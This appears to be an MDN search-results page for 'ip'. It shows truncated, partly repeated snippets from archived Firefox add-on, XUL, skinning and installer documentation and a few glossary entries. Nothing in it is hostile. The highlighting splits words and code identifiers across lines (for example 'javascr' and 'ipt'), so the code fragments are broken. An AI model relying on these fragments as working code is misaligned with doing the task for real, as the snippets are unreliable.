ipher suites, are negotiated. once parameters and a data exchange mode where application data, such http, is exchanged. c
ipher suites the primary parameters that the tls handshake negotiates is a c
ipher suite. ...
...And 7 more matches
simple-prefs - Archive of obsolete content
erences, use preferences/service. usage defining and initializing preferences to define preferences and give them initial values, add a new json array called preferences to your package.json file, and give it one entry for each preference: { "fullname": "example add-on", ... "preferences": [{ "name": "somepreference", "title": "some preference title", "descr
iption": "some short descr
iption for the preference", "type": "string", "value": "this is the default string value" }, { "descr
iption": "how many of them we have.", "name": "myinteger", "type": "integer", "value": 8, "title": "how many?" }] } each preference is defined by a group of attributes. there are: mandatory attributes th...
..., "type": "integer", "value": 8, "title": "how many?" }] } each preference is defined by a group of attributes. there are: mandatory attributes that all preferences must have optional attributes attributes that are specific to the preference's data type mandatory common attributes these are attributes that all preferences must have. attribute descr
iption type the type of preference, as defined in the "preference types" section below. name an identifier for the preference. this is used to access the preference from your add-on: console.log(require("sdk/simple-prefs").prefs.mysettingname); this means that it must be a valid javascr
ipt identifier. title this is used as a label for the prefer...
... value a default value for the preference. depending on the preference type, this may be an integer, string, or boolean value. ...
...And 6 more matches
cfx - Archive of obsolete content
re information. -b binary, --binary=binary use the host application binary specified in binary. binary may be specified as a full path or as a path relative to the current directory. --binary-args=cmdargs pass extra arguments to the binary being executed (for example, firefox). for example, to pass the -jsconsole argument to firefox, which will launch the javascr
ipt error console, try the following: cfx run --binary-args -jsconsole to pass mult
iple arguments, or arguments containing spaces, quote them: cfx run --binary-args '-url "www.mozilla.org" -jsconsole' --extra-packages=extra_packages extra packages to include, specified as a comma-separated list of package names. -g config, --use-config=config pass a set o...
.../firefox/firefox-bin -profile /path/to/profile/tmpjdnlp6.mozrunner -foreground -no-remote this enables you to run the add-on without going through cfx, which might be useful if you want to run it inside a debugger like gdb. -o, --overload-modules in early versions of the sdk, the sdk modules used by an add-on were themselves included in the add-on. the sdk modules now sh
ip as part of firefox. from firefox 21 onwards, sdk add-ons built with sdk 1.14 or higher will use the sdk modules that are built into firefox, even if the add-on includes its own copies of the sdk modules. use this flag to reverse that behavior: if this flag is set and the add-on includes its own copies of the sdk modules, then the add-on will use the sdk modules in the add-on, not the ones bu...
... flag to reverse that behavior: if this flag is set and the add-on includes its own copies of the sdk modules, then the add-on will use the sdk modules in the add-on, not the ones built into firefox. this flag is particularly useful for sdk developers or people working with the development version of the sdk, who may want to run an add-on using newer versions of the modules than than those sh
ipping in firefox. --templatedir=templatedir the cfx run command constructs the add-on using a extension template which you can find under the sdk root, in app-extension. use the --templatedir option to specify a different template. templatedir may be specified as a full path or as a path relative to the current directory. internal options --addons=addons paths of...
...And 6 more matches
Creating annotations - Archive of obsolete content
s. please see the ui module for replacements. in particular, for a simple button, try the action button or toggle button apis, and for a more complex widget try the toolbar or sidebar apis. we'll use two objects to create annotations: a page-mod to find page elements that the user can annotate, and a panel for the user to enter the annotation text itself. selector page-mod selector content scr
ipts the content scr
ipt for the selector page-mod uses jquery to examine and man
ipulate the dom. its main job is to maintain a matched element: this is the page element that is the current candidate for an annotation. the matched element is highlighted and has a click handler bound to it which sends a message to the main add-on code. the selector page mod can be switched on and off using a messag...
...: $('*').mouseout(function() { resetmatchedelement(); }); save this code in a new file called selector.js in your add-on's data directory. because this code uses jquery, you'll need to download that as well, and save it in data. ...
...{ resetmatchedelement(); }); save this code in a new file called selector.js in your add-on's data directory. because this code uses jquery, you'll need to download that as well, and save it in data. ...
...And 6 more matches
Displaying annotations - Archive of obsolete content
firefox 29 onwards. please see the ui module for replacements. in particular, for a simple button, try the action button or toggle button apis, and for a more complex widget try the toolbar or sidebar apis. in this chapter we'll use a page-mod to locate elements of web pages that have annotations associated with them, and a panel to display the annotations. matcher page-mod matcher content scr
ipt the content scr
ipt for the matcher page-mod is initialized with a list of all the annotations that the user has created. when a page is loaded the matcher searches the dom for elements that match annotations. if it finds any it binds functions to that element's mouseenter and mouseleave events to send messages to the main module, asking it to show or hide the annotation. like the selector, th...
...s the dom for elements that match annotations. if it finds any it binds functions to that element's mouseenter and mouseleave events to send messages to the main module, asking it to show or hide the annotation. like the selector, the matcher also listens for the window's unload event and on unload sends a detach message to the main module, so the add-on can clean it up. ...
...estorid); annotationanchor = $(annotationanchorancestor).parent().find( ':contains(' + annotation.anchortext + ')').last(); $(annotationanchor).addclass('annotated'); $(annotationanchor).attr('annotation', annotation.annotationtext); } save this in data as matcher.js. ...
...And 6 more matches
Adding preferences to an extension - Archive of obsolete content
it also adds a preference dialog that lets you switch to a stock other than one of the ones included in the popup menu. ...
...lled "preferences". inside that, we create a file, defaults.js, that describes the default value of our preferences: pref("extensions.stockwatcher2.symbol", "goog"); the standard for third-party preferences, such as those used in extensions, is to use the string "extensions", a period, the name of the extension, another period, then a preference name, as seen in the example above. the javascr
ipt code in order to monitor changes to our preferences, we need to install an observer using the ns
iprefbranch2 interface. to do that, we need to reimplement our code into an object. that involves turning each function into a member of the stockwatcher class. let's take a look at each function in the class. startup() the stockwatcher.startup() function is called when our extension is first load...
...our preferences, and install an interval routine to update the stock information periodically. var stockwatcher = { prefs: null, tickersymbol: "", // initialize the extension startup: function() { // register to receive notifications of preference changes this.prefs = components.classes["@mozilla.org/preferences-service;1"] .getservice(components.interfaces.ns
iprefservice) .getbranch("extensions.stockwatcher2."); this.prefs.addobserver("", this, false); this.tickersymbol = this.prefs.getcharpref("symbol").touppercase(); this.refreshinformation(); window.setinterval(this.refreshinformation, 10*60*1000); } }, our object has two member variables. prefs is configured by startup() to reference our extension's preferences, ...
...And 6 more matches
CSS3 - Archive of obsolete content
like only screen and (color) . media queries are not only used in css document but also in some attributes of html elements, like the media attribute of the <link> element. the next iteration of this specification is in the work, allowing to tailor a web site regarding the input methods available on the user agent, with new media features like hover or pointer. detection of ecmascr
ipt support, using the scr
ipt media features is also proposed. css style attributes recommendation since november 7th, 2013 formally defines the syntax of the content of the html style global attribute. css fonts module level 3 candidate recommendation since september 20th, 2018 amends the css2.1 font matching algorithm to be closer to what is...
...tage. these modules extend and amend the css2.1 specification which build the core of the specification. together with it, they are the current snapshot of the css specification. css backgrounds and borders module level 3 candidate recommendation adds: support, on backgrounds, for any type of <image>, and not only for uri() defined ones. support for mult
iple background images. the background-repeat space and round values, and for the 2-value syntax of this css property. the background-attachment local value. the css background-origin, background-size, and background-cl
ip properties. support for curved border corners, with the css border-radius, border-top-left-radius, border-top-right-radius, border-bottom-left-radius, and borde...
..., border-image-source, border-image-slice, border-image-width, border-image-outset, and border-image-repeat properties. support for shadows of the element with the css box-shadow property. the css4 iteration of the backgrounds and borders specification is already in progress, though it still hasn't reached the first public working draft stage, it plans to add the ability to cl
ip a border (with the css border-cl
ip, border-cl
ip-top, border-cl
ip-right, border-cl
ip-bottom, and border-cl
ip-left properties) or to control the shape of the border in a corner (using the css border-corner-shape property). css conditional rules module level 3 candidate recommendation adds features for conditional processing of parts of style sheets, conditioned on capabilities...
...And 6 more matches
Getting Started - Archive of obsolete content
it up, it is possible that you will be unable to access your browser without uninstalling and reinstalling mozilla. for this reason we suggest that you install a second copy into a second directory (make sure that you use a different profile as stated in the release notes) extract the chrome the chrome is stored in \mozilla\chrome and the individual modules are stored in jar files. jar files are z
ip files with a different extension. you can open them up in your z
ip program the same way you open up z
ip files. mozilla currently comes with two skins, classic and modern. looking in the directory you'll also notice that there are classic.jar and modern.jar files. for this tutorial we are going to use the classic skin as a base. extract classic.jar into \classic (\mozilla\chrome\classic), but make...
...rface are located in the same directories as the css files. to make a change, just replace one of the images with one of your own. it should probably be of the same size, but it doesn't have to be. if you do need to change the size, also make sure to change any css that may be affected by that change. after you've changed the images, launch mozilla and you should see them. creating the install scr
ipt getting it ready for the installation before we can package everything up for installation, we need to remove all references to classic. copy everything in \mozilla\chrome\classic\skin\classic to a directory called \myskin. skin info when switching skins in mozilla, it displays a preview image and some information about the theme. this is what we're going to create now. take a screenshot of mozi...
...itor. this file is a small xml database which is used to describe the skin. list all the skins being supplied by this theme <rdf:seq about="urn:mozilla:skin:root"> <rdf:li resource="urn:mozilla:skin:myskin/1.0" /> in the code search for the part listed above. change the blue part to whatever you want your theme called and then its version number. then scroll down to the next section. <rdf:descr
iption about="urn:mozilla:skin:myskin/1.0" chrome:displayname="my skin" chrome:accesskey="m" chrome:author="me" chrome:descr
iption="this is my custom skin for mozilla" chrome:name="myskin/1.0" chrome:image="preview.png"> the blue areas are explained below. the first line should match the line that you modified in the previous section. the display name. that is what ...
...And 6 more matches
Creating a Skin for Firefox/Getting Started - Archive of obsolete content
n of firefox and install it. be sure to install the dom inspector extension as well. extract theme while you can hypothetically begin with any theme already designed for firefox, for the sake of consistency we'll speak as though everyone is editing the default firefox theme. this is located in the file classic.jar found in the firefox installation directory. a .jar file is in reality a renamed z
ip archive. opening the .jar files in your archive manager of choice should result in the file being automatically detected as being a z
ip archive. however, if your application doesn't detect classic.jar as a standard z
ip archive, rename the file classic.z
ip and continue extraction. note: starting in gecko 2.0, the new omni.jar file contains the skin, among other resources. see theme changes in fi...
...'t do a whole lot and can typically be forgotten about promptly. skin\classic\global global contains almost all of the important css files that define the appearance of the browser. this is the most critical directory in a theme. skin\classic\help help contains all the files for theming the help dialog window. skin\classic\mozapps mozapps contains all the styles and icons for the browser per
ipherals, such as the extension manager or update wizard. install your new theme before you can see the changes you make to a firefox theme (since live edits are restrictively difficult to set up) you must first learn how to repackage the classic theme to make it installable. for the sake of this discussion we will call your theme "my_theme", though you can replace that with any name. copying th...
..."/> <rdf:li resource="urn:mozilla:skin:my_theme:global"/> <rdf:li resource="urn:mozilla:skin:my_theme:messenger"/> <rdf:li resource="urn:mozilla:skin:my_theme:navigator"/> save the file and exit the text editor. install.rdf make a copy of install.rdf and place it in the my_theme directory, then open it up in your text editor. this file is a small xml database that describes the skin. <descr
iption about="urn:mozilla:install-manifest"> <em:id>{themes_uuid}</em:id> <em:version>themes_version</em:version> the first section requires that you establish a uuid for your theme and that you give your theme a version number. once you've done this, insert the information as above, and scroll down. you will also have to update the minimum and maximum compatible versions for the target appli...
...And 6 more matches
Dehydra Object Reference - Archive of obsolete content
introduction dehydra represents c++ types and variables as javascr
ipt objects. the objects are designed to distill that type system to the minimum such that it can be easy to match on. often, the best way to become familiar with the dehydra objects is to print out the objects: dehydra example code an online tool for pretty-printing dehydra data understanding properties dehydra only sets properties that are applicable. for example, class types and typedefs are declared and will have a .loc property. intrinsic types such as "int" are not declared and will not have a .loc. dehydra only sets boolean flags when they are true. ...
...ly sets properties that are applicable. for example, class types and typedefs are declared and will have a .loc property. intrinsic types such as "int" are not declared and will not have a .loc. dehydra only sets boolean flags when they are true. for example, a pointer type will have .ispointer == true, but a class type will not have an .ispointer property. common properties property type descr
iption .loc location object source location of a type or declaration. .attributes array of objects attributes of the type or declaration. each member of the array has the following properties: { name: string, value: string or number, if applicable } see an example on enforcing final classes. code can be annotated with arbitrary user attributes: __attribute__((user("customstring"))). ...
... name: string, value: string or number, if applicable } see an example on enforcing final classes. code can be annotated with arbitrary user attributes: __attribute__((user("customstring"))). variable objects dehydra presents ast nodes as variables. these types are used to represent variables, functions, assignments, etc. the following properties are usually available: property type descr
iption .name string the function or variable name. .type type object the type of this function or variable. .isstatic boolean flag .isreturn boolean flag the variable is being returned. .isdecl boolean flag the variable is being declared (local variables only). .assign array of variable objects this variable is the lhs of an assignment. the value is an array of values that were ...
...And 6 more matches
Menu - Archive of obsolete content
menu. jetpack.menu(menuitems) creates a menu with the given items. parameters menuitems an array of menuitems. jetpack.menu(properties) creates a menu with specific properties. parameters properties an object defining any of the properties below. the items property may be used to define an array of menuitems. properties property type descr
iption beforehide function a function invoked just before the menu is hidden. if the menu is a context menu, it is called as beforehide(menu, context) and otherwise as beforehide(menu). menu is the menu object to which beforehide is attached. context is an object describing the context in which the menu was shown. beforeshow function a functi...
...s. show(anchornode) shows the menu immediately. parameters anchornode the menu will pop up on this node, which may be either a raw dom node or a dom node wrapped by jquery. menuitems menus in jetpack contain menuitem objects, including both built-in firefox menus and menus that features create. no menuitem constructor is exposed, because jetpack automatically boxes simple javascr
ipt objects into menuitem objects. creating menuitems to pass a new menuitem into the api, pass one of the following types: null a simple menu separator. (note that any falsey value will suffice, including undefined, null, and the empty string. null is recommended because it stands out.) function a menuitem that will update itself when its menu is shown. the function is invoked just before the item'...
...tem. if the item belongs to a context menu, the function is called as function(context) and otherwise function(). context is an object describing the context in which the menu was shown. string a simple menuitem with the given string label. object a menuitem with specific properties. the object may define any of the properties listed below. properties property type descr
iption command function a function that will be called when the menuitem is clicked. if the menu property is present, command will instead be called when any of the item's descendants is clicked. in that case, the commands of descendants will be invoked first. in either case, it is called as command(clickedmenuitem), where clickedmenuitem is the menuitem that wa...
...And 6 more matches
Positioning - Archive of obsolete content
t down and to the right a couple of pixels so that the menu can be dismissed again just by clicking in the same place. if a context menu was opened via the keyboard only, the menu will appear at the top left corner of the document, or underneath the currently selected item if a list is focused. context menus will always appear in this location, and not respect any position attribute value. toolt
ips will always appear near the current mouse position, offset vertically by a small amount. the position attribute the position of all types of popups can be controlled in two ways. first, the position can be specified when using the popup's openpopup method. this is used when a popup is opened by a scr
ipt. second, the position can be specified using several attributes placed on the menupopup, pa...
...these attributes are described below and function the same for all three elements. ...
... popup is anchored to the element with the popup attribute. for a context menu, that is, a menu that is attached to an an element using the context attribute and opened via context-clicking the mouse, the position attribute is ignored. the menu appears at the mouse position offset by a couple of pixels so that the user can close the context menu just by clicking in the same location. for a toolt
ip, the position attribute controls how the toolt
ip is anchored to the element with the toolt
ip attribute. you wouldn't normally use the position attribute on a toolt
ip; instead you would just want the toolt
ip to appear at its default position which is near the mouse pointer. for instance: <menupopup id="edititems" position="end_before"> <menuitem label="cut"/> <menuitem label="copy"/> <men...
...And 6 more matches
Sorting and filtering a custom tree view - Archive of obsolete content
this is example code for sorting and filtering a custom tree view, that is, a tree whose values are loaded via javascr
ipt. this will not work for other types of trees, for example rdf-backed or ones created with dom methods. for the sake of simplicity, strings are not localized and the data loaded is hard coded. because of bug 340478, this code will only work from privileged scr
ipt. ...
...ty, strings are not localized and the data loaded is hard coded. because of bug 340478, this code will only work from privileged scr
ipt. ...
... and the data loaded is hard coded. because of bug 340478, this code will only work from privileged scr
ipt. ...
...And 6 more matches
RDF Query Syntax - Archive of obsolete content
<< previousnext >> let's look at a simple query with two statements. each statement is placed as a direct child of the <query> element within the template. <vbox datasources="http://www.xulplanet.com/ds/sample.rdf" ref="http://www.xulplanet.com/rdf/a"> <template> <query> <content uri="?start"/> <tr
iple subject="?start" predicate="http://www.xulplanet.com/rdf/relateditem" object="?relateditem"/> </query> <rule> ... </rule> </template> </vbox> this query has two statements, each specified with a different tag. the template won't generate anything yet since we still need to fill in the content to be generated which goes in the missing part inside the rule. however, the template builder will be able to com...
... variable. so if a second rule were used, it would also need to use the ?start variable. the value of ?start is set to 'http://www.xulplanet.com/rdf/a'. you'll notice that this is the value of the ref attribute which is the desired starting node in the rdf graph. thus, the ?start variable becomes the container or reference variable. actually, in the current template implementation, the above descr
iption isn't quite correct. the seed is actually an internal variable set to the container, in this case, the vbox, and the ?start variable is set to the ref later, but that is a minor detail that doesn't make templates more understandable. for this discussion, assume that so far we have a single potential result as above. the content tag doesn't do anything else at this point, meaning it doesn't ad...
...box, and the ?start variable is set to the ref later, but that is a minor detail that doesn't make templates more understandable. for this discussion, assume that so far we have a single potential result as above. ...
...And 6 more matches
textbox (Toolkit autocomplete) - Archive of obsolete content
mozilla suite. the example below will create an autocomplete textbox that will search the user's history. ...
...n if true, the text in the text field will be autocompleted as the user selects from the popup list. crop type: boolean this attribute is not used and is only provided for compatibility with the menulist element. disableautocomplete new in thunderbird 3requires seamonkey 2.0 type: boolean if true, the autocomplete behavior will be disabled. you might use a scr
ipt to change this attribute. if false, the default, autocomplete is enabled. disabled type: boolean indicates whether the element is disabled or not. if this attribute is set, the element is disabled. disabled elements are usually drawn with grayed-out text. if the element is disabled, it does not respond to user actions, it cannot be focused, and the command event will not fire. in the ca...
... item. highlightnonmatches new in thunderbird 3 requires seamonkey 2.0 type: boolean if true, then the autocomplete field will be highlighted when no match has been found. ignoreblurwhilesearching new in thunderbird 3requires seamonkey 2.0 type: boolean if true, blur events are ignored while searching, which means that the autocomplete popup will not disappear. inputtoolt
iptext type: string the toolt
ip text for the textbox. label type: string the label that will appear on the element. if this is left out, no text appears. for an editable menuitem element the value of this attribute is copied to the menulist.value property upon user selection of the menuitem. maxlength type: integer the maximum number of characters that the textbox allows to be ...
...And 6 more matches
Adding Methods to XBL-defined Elements - Archive of obsolete content
methods are the functions of objects, such as window interface's open() method loads the specified resource into the browsing context (window, <iframe> or tab) with the specified name. if the name doesn't exist, then a new window is opened and the specified resource is loaded into its browsing context.">window.open(). you can define custom methods for your elements using the method element. ...
... a new window is opened and the specified resource is loaded into its browsing context.">window.open(). you can define custom methods for your elements using the method element. the general syntax of methods is as follows: <implementation> <method name="method-name"> <parameter name="parameter-name1"/> <parameter name="parameter-name2"/> . . . <body> <-- method scr
ipt goes here --> </body> </method> </implementation> a method declaration goes inside the implementation element, like the fields and properties do. the method element contains two type of child elements, parameter elements which describe the parameters to the method and body which contains the scr
ipt for the method. the value of the name attribute becomes the name of the method. similarly...
...the name of the method. similarly, the name attributes on the parameter elements become the names of each parameter. each parameter element is used to declare one parameter for the method. for example, if the method had three parameters, there would be three parameter elements. you do not need to have any though, in which case the method would take no parameters. ...
...And 6 more matches
Commands - Archive of obsolete content
<< previousnext >> a command is an operation which may be invoked. command elements the command element is used to create commands which can be used to carry out operations. you don't need to use commands, since you can just call a scr
ipt to handle things. however, a command has the advantage that it can be disabled when needed and can be invoked without needing to know about the details of its implementation. commands provide a suitable way to abstract operations from the code. commands are especially useful for larger applications. for instance, in order to implement the cl
ipboard menu commands, cut, copy and paste, you can use commands. if you did not use commands, you would need to figure out which field has the focus, then check to ensure that the operation is suitabl...
...copy and paste, you can use commands. if you did not use commands, you would need to figure out which field has the focus, then check to ensure that the operation is suitable for that element. in addition, the menu commands would need to be enabled and disabled depending on whether the focused element had selected text or not, and for paste operations, whether there is something suitable on the cl
ipboard to paste. as you can see, this becomes complicated. by using commands, much of the work is handled for you. you can use a command for any operation. mozilla uses them for almost every menu command. in addition, text fields and other widgets have a number of commands which they already support that you can invoke. you should use them when the operation depends on which element is focused. a...
...vates the button or other element attached to the command. you can also invoke a command by calling the docommand method either of the command element or an element attached to the command such as a button. command dispatching you can also use commands without using command elements, or at least, without adding a oncommand attribute to the command. in this case, the command will not invoke a scr
ipt directly, but instead, find an element or function which will handle the command. this function may be separate from the xul itself, and might be handled internally by a widget. in order to find something to handle the command, xul uses an object called a command dispatcher. this object locates a handler for a command. a handler for a command is called a controller. so, essentially, when a comma...
...And 6 more matches
Creating an Installer - Archive of obsolete content
developers must switch away from install.js based packages to the new packaging scheme with an install.rdf manifest. in particular plugin developers should see how to package a plugin as an extension. << previousnext >> this section will describe packaging a xul application into an installer. xpinstall packages mozilla provides a mechanism which can be used to package xul windows, scr
ipts, skins and other files into single file installers. you can place this installer file somewhere for users to download. a simple scr
ipt can be used to have the package downloaded and installed. this mechanism is called xpinstall (cross platform install). xpinstall installers are packaged into jar files. inside the jar file, you can add all the various files that you want to have installed. in a...
...lers. you can place this installer file somewhere for users to download. a simple scr
ipt can be used to have the package downloaded and installed. this mechanism is called xpinstall (cross platform install). xpinstall installers are packaged into jar files. inside the jar file, you can add all the various files that you want to have installed. in addition, installers should contain an install scr
ipt (a file named install.js) which can be used to scr
ipt the installation process. this scr
ipt has access to various install functions which can be used to install files and components. the jar file installers typically have the extension .xpi (pronounced z
ippy) to distinguish them from other archives. the installers will be usually used to install mozilla components such as new skins, plugins and...
... archives. the installers will be usually used to install mozilla components such as new skins, plugins and packages. there are several steps involved in launching an installer and installing components. these are described step by step below. create a web page from which the user can download the software to be installed. this page will contain an install trigger which is a small piece of scr
ipt which launches the install. the user is presented with a dialog which indicates the package being installed. it is possible for the install trigger to launch mult
iple installers. in this case, they will be presented in a list. the user may choose to continue or cancel. if the user chooses to continue, the installer xpi file is downloaded. a progress bar is displayed to the user during this pro...
...And 6 more matches
menulist - Archive of obsolete content
e the menulist containing the choices as menuitem elements. the command event may be used to execute code when the menulist selection changes. more information is available in the xul tutorial. ...
... accesskey type: character this should be set to a character that is used as a shortcut key. this should be one of the characters that appears in the label attribute for the element. crop type: one of the values below if the label of the element is too big to fit in its given space, the text will be cropped on the side specified by the crop attribute. an ell
ipsis will be used in place of the cropped text. if the box direction is reversed, the cropping is reversed. start the text will be cropped on its left side in left-to-right text locales, and the right side in right-to-left locales. end the text will be cropped on its right side in left-to-right text locales, and the right side in r...
...de in right-to-left locales. left the text will be cropped on its left side. right the text will be cropped on its right side. center the text will be cropped in the middle, showing both the start and end of the text normally. none the text will be not be cropped using an ell
ipsis. however, the text will simply be cut off if it is too large. the side depends on the css text alignment. depending on the platform and theme being used, some elements will have set a maximum width so they will always appear cropped. if you wish to use the value none and the displayed text is larger than this maximum width, you may be able to use the max-width css property (or t...
...And 6 more matches
tabbrowser - Archive of obsolete content
<< xul reference home [ examples | attributes | properties | methods | related ] this element is used for holding a set of read-only views of web documents. it is similar to the browser element, except that mult
iple documents can be displayed, each in a separate tab. note: starting in firefox 3 (xulrunner/gecko 1.9), this is only used in the main firefox window and cannot be used in other xul windows by third-party applications or extensions. ...
...uments. it is similar to the browser element, except that mult
iple documents can be displayed, each in a separate tab. note: starting in firefox 3 (xulrunner/gecko 1.9), this is only used in the main firefox window and cannot be used in other xul windows by third-party applications or extensions. ...
...e element. autoscroll type: boolean set to false to disable autoscroll for this browser. if this attribute is set to true or omitted, autoscroll will be enabled or depending on the user preference general.autoscroll. contentcontextmenu type: id the id of a menupopup element serving as the context menu for the content area in the tabbrowser. contenttoolt
ip type: id the id of a toolt
ip element to be used for the content area in the tabbrowser. onbookmarkgroup not in firefox type: scr
ipt code this code executes when the user chooses the "bookmark this group of tabs" command. onnewtab not in firefox type: scr
ipt code this scr
ipt will be called when the new tab button is clicked. tabmodalpromptshowing type: intege...
...And 6 more matches
window - Archive of obsolete content
global/skin/" type="text/css"?> <!-- run this example using copy & paste in this live xul editor: https://github.com/km-200/xul --> <!-- extremely recommended to keep this css include!! ...
...> <!-- run this example using copy & paste in this live xul editor: https://github.com/km-200/xul --> <!-- extremely recommended to keep this css include!! ...
... activetitlebarcolor type: color string specify background color of the window's titlebar when it is active (foreground). moreover ...
...And 6 more matches
Creating a Windows Inno Setup installer for XULRunner applications - Archive of obsolete content
application has no installer by default; however, these instructions can help you to easily create a windows installer with inno setup. the tutorial here uses the my app example from the article getting started with xulrunner. step 1: installing inno setup download inno setup from inno setup downloads. if you only want to compile the installer, install the stable release. if you want to edit scr
ipts, you should get the quickstart pack (which includes istool, the scr
ipt editor. however, if you don't get the quickstart pack, you can later get istool from inno setup third-party files. step 2: creating the application to make your application standalone, deploy your application according to the deploying xulrunner 1.8 article. my app's example follows. myapp/ application.ini chr...
...tion standalone, deploy your application according to the deploying xulrunner 1.8 article. my app's example follows. myapp/ application.ini chrome/ default/ myapp.exe (copy xulrunner-stub.exe and rename) xulrunner/ please test your application before deploying it. if your application does not run, neither will the installed version. ...
...application according to the deploying xulrunner 1.8 article. my app's example follows. myapp/ application.ini chrome/ default/ myapp.exe (copy xulrunner-stub.exe and rename) xulrunner/ please test your application before deploying it. if your application does not run, neither will the installed version. step 3: creating the inno setup scr
ipt create an inno setup scr
ipt (.iss file). the inno setup scr
ipt wizard can't set chrome directory's deployment point, so you have to edit the iss file yourself. also you had better set the appname and apppublisher properties to the same values specified in your xulrunner application's application.ini file. my app's .iss file sample as follows: ; scr
ipt generated by the inno setup scr
ipt wizard. ; see the documentation for...
...And 6 more matches
JSObject - Archive of obsolete content
summary the public final class netscape.javascr
ipt.jsobject extends object. java.lang.object | +----netscape.javascr
ipt.jsobject descr
iption javascr
ipt objects are wrapped in an instance of the class netscape.javascr
ipt.jsobject and passed to java. jsobject allows java to man
ipulate javascr
ipt objects. when a javascr
ipt object is sent to java, the runtime engine creates a java wrapper of type jsobject; when a jsobject is sent from java to javascr
ipt, the runtime engine unwraps it to its original javascr
ipt object type. the jsobject class provides a way to invoke javascr
ipt methods and examine javascr
ipt properties. any javascr
ipt data brought into java is converted to java data types. ...
...o java, the runtime engine creates a java wrapper of type jsobject; when a jsobject is sent from java to javascr
ipt, the runtime engine unwraps it to its original javascr
ipt object type. the jsobject class provides a way to invoke javascr
ipt methods and examine javascr
ipt properties. any javascr
ipt data brought into java is converted to java data types. when the jsobject is passed back to javascr
ipt, the object is unwrapped and can be used by javascr
ipt code. see the core javascr
ipt 1.5 guide for more information about data type conversions. method summary the netscape.javascr
ipt.jsobject class has the following methods: call calls a javascr
ipt method. equals determines if two jsobject objects refer to the same instance. (what's the problem with == ?) eval evaluates a jav...
...he object is unwrapped and can be used by javascr
ipt code. see the core javascr
ipt 1.5 guide for more information about data type conversions. method summary the netscape.javascr
ipt.jsobject class has the following methods: call calls a javascr
ipt method. equals determines if two jsobject objects refer to the same instance. (what's the problem with == ?) eval evaluates a javascr
ipt expression. getmember retrieves the value of a property of a javascr
ipt object. getslot retrieves the value of an array element of a javascr
ipt object. removemember removes a property of a javascr
ipt object. setmember sets the value of a property of a javascr
ipt object. setslot sets the value of an array element of a javascr
ipt object. tostring converts a jsob...
...And 6 more matches
JavaArray - Archive of obsolete content
summary core object a wrapped java array accessed from within javascr
ipt code is a member of the type javaarray. created by any java method which returns an array. in addition, you can create a javaarray with an arbitrary data type using the newinstance method of the array class: public static object newinstance(class componenttype, int length) throws negativearraysizeexception descr
iption the javaarray object is an instance of a java array that is created in or passed to javascr
ipt. javaarray is a wrapper for the instance; all references to the array instance are made through the javaarray. in javascr
ipt 1.4 and later, the componenttype parameter is either a javaclass object representing the type of the array or class object, such as one returned by java.lang.class.forname. ...
...javaarray object is an instance of a java array that is created in or passed to javascr
ipt. javaarray is a wrapper for the instance; all references to the array instance are made through the javaarray. in javascr
ipt 1.4 and later, the componenttype parameter is either a javaclass object representing the type of the array or class object, such as one returned by java.lang.class.forname. in javascr
ipt 1.3 and earlier, componenttype must be a class object. use zero-based indexes to access the elements in a javaarray object, just as you do to access elements in an array in java. ...
...rname. in javascr
ipt 1.3 and earlier, componenttype must be a class object. use zero-based indexes to access the elements in a javaarray object, just as you do to access elements in an array in java. for example: var javastring = new java.lang.string("hello world!"); var bytearray = javastring.getbytes(); bytearray[0] // returns 72 bytearray[1] // returns 101 any java data brought into javascr
ipt is converted to javascr
ipt data types. when the javaarray is passed back to java, the array is unwrapped and can be used by java code. see the core javascr
ipt 1.5 guide for more information about data type conversions. in javascr
ipt 1.4 and later, the methods of java.lang.object are inherited by javaarray. ...
...And 6 more matches
Create the Canvas and draw on it - Game development
the <canvas> element has an id of mycanvas to allow us to easily grab a reference to it, and it is 480 pix...
...the <canvas> element has an id of mycanvas to allow us to easily grab a reference to it, and it is 480 pixels wide and 320...
...the <canvas> element has an id of mycanvas to allow us to easily grab a reference to it, and it is 480 pixels wide and 320 pixels high. all the ja...
...And 6 more matches
Primitive - MDN Web Docs Glossary: Definitions of Web-related terms
there are 6 primitive data types: string, number, bigint, boolean, undefined, and symbol. there also is null, which is seemingly primitive, but indeed is a special case for every object: and any structured type is derived from null by the prototype chain. most of the time, a primitive value is represented directly at the lowest level of the language implementation. all primitives are immutable, i.e., they cannot be altered. it is important not to confuse a primitive itself with a variable assigned a primitive value. ...
.... all primitives are immutable, i.e., they cannot be altered. it is important not to confuse a primitive itself with a variable assigned a primitive value. the variable may be reassigned a new value, but the existing value can not be changed in the ways that objects, arrays, and functions can be altered. example this example will help you understand that primitive values are immutable. ...
...method mutates the array var foo = []; console.log(foo); // [] foo.push("plugh"); console.log(foo); // ["plugh"] // assignment gives the primitive a new (not a mutated) value bar = bar.touppercase(); // baz a primitive can be replaced, but it can't be directly altered. ...
...And 6 more matches
MDN Web Docs Glossary: Definitions of Web-related terms
apple safari application context argument aria arpa arpanet array ascii asynchronous atag attribute b bandwidth base64 baseline beacon bezier curve bidi bigint blink block block (css) block (scr
ipting) block c
ipher mode of operation boolean boot2gecko bootstrap bounding box breadcrumb brotli browser browsing context buffer c cache cacheable caldav call stack callback function canonical order canvas card sorting ...
... cache cacheable caldav call stack callback function canonical order canvas card sorting carddav caret cdn certificate authority certified challenge-response authentication character character encoding character set chrome cia c
ipher c
ipher suite c
iphertext class client hints closure cms code splitting codec compile compile time computer programming conditional constant constructor continuous media control flow cookie copyleft cors cors-safeliste...
...ting codec compile compile time computer programming conditional constant constructor continuous media control flow cookie copyleft cors cors-safelisted request header cors-safelisted response header crawler crlf cross axis cross-site scr
ipting crud cryptanalysis cryptographic hash function cryptography csp csrf css css object model (cssom) css pixel css preprocessor d data structure decryption delta denial of service descr
iptor (css) deserialization developer tools ...
...And 6 more matches
Fundamental text and font styling - Learn web development
arrying on. the css properties used to style text generally fall into two categories, which we'll look at separately in this article: font styles: properties that affect the font that is applied to the text, affecting what font is applied, how big it is, whether it is bold, italic, etc. text layout styles: properties that affect the spacing and other layout features of the text, allowing man
ipulation of, for example, the space between lines and letters, and how the text is aligned within the content box. note: bear in mind that the text inside an element is all affected as one single entity. you can't select and style subsections of text unless you wrap them in an appropriate element (such as a <span> or <strong>), or use a text-specific pseudo-element like ::first-letter (selects t...
...fonts that are intended to emulate handwriting, with flowing, connected strokes. my big red elephant fantasy fonts that are intended to be decorative. my big red elephant font stacks since you can't guarantee the availability of the fonts you want to use on your webpages (even a web font could fail for some reason), you can supply a font stack so that the browser has mult
iple fonts it can choose from. this simply involves a font-family value consisting of mult
